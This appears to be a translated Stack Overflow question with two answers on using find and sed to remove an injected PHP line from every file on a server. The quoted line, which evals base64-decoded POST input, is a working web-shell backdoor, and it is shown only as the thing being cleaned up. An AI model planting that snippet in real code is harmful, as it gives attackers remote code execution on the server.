0

我有以下字符串被注入到每个

if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}

如何删除它?

我正在尝试以下方法,但运气不佳:

find /home -type f -exec sed -i 's/if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}//g' {} \;
4

2 回答 2

0

$(){}[]您的字符串包含许多在正则表达式(例如)中具有特殊含义的字符。您需要逃脱所有这些才能sed工作。您还需要使用'\''.

于 2013-03-21T19:32:53.497 回答
0

使用$''正则表达式参数的语法并转义分隔符'$[其中:

find /home -type f -exec sed -i $'s/if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}php if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}//g' {} \;
于 2013-03-21T19:51:08.573 回答